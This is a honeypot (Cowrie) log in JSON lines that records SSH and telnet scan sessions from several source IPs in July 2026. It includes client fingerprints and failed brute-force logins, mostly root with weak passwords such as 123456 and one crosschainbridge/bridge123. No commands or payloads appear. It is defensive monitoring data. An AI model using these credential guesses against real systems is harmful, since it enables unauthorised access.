{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:08.962914Z","src_ip":"91.92.40.11","session":"a94bc45b1c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:09.289476Z","src_ip":"91.92.40.11","session":"a94bc45b1c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:10.373146Z","src_ip":"91.92.40.11","session":"a94bc45b1c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.82520246505737,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:23.210329Z","src_ip":"137.184.5.188","session":"672a8e24216d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.12866520881653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:16:34.087071Z","src_ip":"72.167.226.244","session":"aae25de41097","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":38366,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b342a0fd6a","protocol":"ssh","message":"New connection: 91.92.40.11:38366 (10.17.0.5:22) [session: b8b342a0fd6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:13.927076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:14.094781Z","src_ip":"91.92.40.11","session":"b8b342a0fd6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:14.097752Z","src_ip":"91.92.40.11","session":"b8b342a0fd6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:15.770611Z","src_ip":"91.92.40.11","session":"b8b342a0fd6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:17.078941Z","src_ip":"91.92.40.11","session":"b8b342a0fd6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59938,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c3a3b66c787","protocol":"telnet","message":"New connection: 94.23.66.112:59938 (10.17.0.5:23) [session: 6c3a3b66c787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:27.050342Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":64796,"dst_ip":"10.17.0.5","dst_port":22,"session":"729d1517dcae","protocol":"ssh","message":"New connection: 87.156.182.84:64796 (10.17.0.5:22) [session: 729d1517dcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:58.761864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:58.765404Z","src_ip":"87.156.182.84","session":"729d1517dcae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:58.874628Z","src_ip":"87.156.182.84","session":"729d1517dcae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789ABC","message":"login attempt [root/123456789ABC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:17:59.796676Z","src_ip":"87.156.182.84","session":"729d1517dcae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:00.950999Z","src_ip":"87.156.182.84","session":"729d1517dcae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":36198,"dst_ip":"10.17.0.5","dst_port":22,"session":"61cb24ddc5cc","protocol":"ssh","message":"New connection: 91.92.40.11:36198 (10.17.0.5:22) [session: 61cb24ddc5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:14.427569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:14.565270Z","src_ip":"91.92.40.11","session":"61cb24ddc5cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:14.567492Z","src_ip":"91.92.40.11","session":"61cb24ddc5cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:15.670841Z","src_ip":"91.92.40.11","session":"61cb24ddc5cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:16.882202Z","src_ip":"91.92.40.11","session":"61cb24ddc5cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.716578006744385,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:20.766837Z","src_ip":"94.23.66.112","session":"6c3a3b66c787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.60","src_port":44664,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbbe0ac4230a","protocol":"ssh","message":"New connection: 167.94.146.60:44664 (10.17.0.5:22) [session: bbbe0ac4230a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:22.340835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:22.391827Z","src_ip":"167.94.146.60","session":"bbbe0ac4230a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 873a5fb5fedc2d4f8638ebde4abc6cfc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:22.483730Z","src_ip":"167.94.146.60","session":"bbbe0ac4230a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":34144,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c4c54bedcf8","protocol":"ssh","message":"New connection: 192.163.244.125:34144 (10.17.0.5:22) [session: 0c4c54bedcf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:25.594216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:25.597898Z","src_ip":"192.163.244.125","session":"0c4c54bedcf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:25.667572Z","src_ip":"192.163.244.125","session":"0c4c54bedcf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crosschainbridge","password":"bridge123","message":"login attempt [crosschainbridge/bridge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:25.877928Z","src_ip":"192.163.244.125","session":"0c4c54bedcf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:27.771412Z","src_ip":"192.163.244.125","session":"0c4c54bedcf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:38.144555Z","src_ip":"167.94.146.60","session":"bbbe0ac4230a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":47832,"dst_ip":"159.203.135.109","dst_port":23,"session":"814dcd57756a","protocol":"telnet","message":"New connection: 137.184.5.188:47832 (159.203.135.109:23) [session: 814dcd57756a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:18:39.768543Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":43066,"dst_ip":"10.17.0.5","dst_port":22,"session":"473b23ffb1c9","protocol":"ssh","message":"New connection: 91.92.40.11:43066 (10.17.0.5:22) [session: 473b23ffb1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:19:12.721076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:19:12.803226Z","src_ip":"91.92.40.11","session":"473b23ffb1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:19:12.902438Z","src_ip":"91.92.40.11","session":"473b23ffb1c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:19:13.624808Z","src_ip":"91.92.40.11","session":"473b23ffb1c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:19:14.835569Z","src_ip":"91.92.40.11","session":"473b23ffb1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":54080,"dst_ip":"10.17.0.5","dst_port":22,"session":"b11116599769","protocol":"ssh","message":"New connection: 91.92.40.11:54080 (10.17.0.5:22) [session: b11116599769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:11.525350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:11.612297Z","src_ip":"91.92.40.11","session":"b11116599769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:11.618078Z","src_ip":"91.92.40.11","session":"b11116599769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:12.461363Z","src_ip":"91.92.40.11","session":"b11116599769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:13.654002Z","src_ip":"91.92.40.11","session":"b11116599769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0162422657013,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:39.784638Z","src_ip":"137.184.5.188","session":"814dcd57756a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.60","src_port":61564,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed5460983c69","protocol":"ssh","message":"New connection: 147.185.132.60:61564 (159.203.135.109:22) [session: ed5460983c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:20:51.957685Z"}
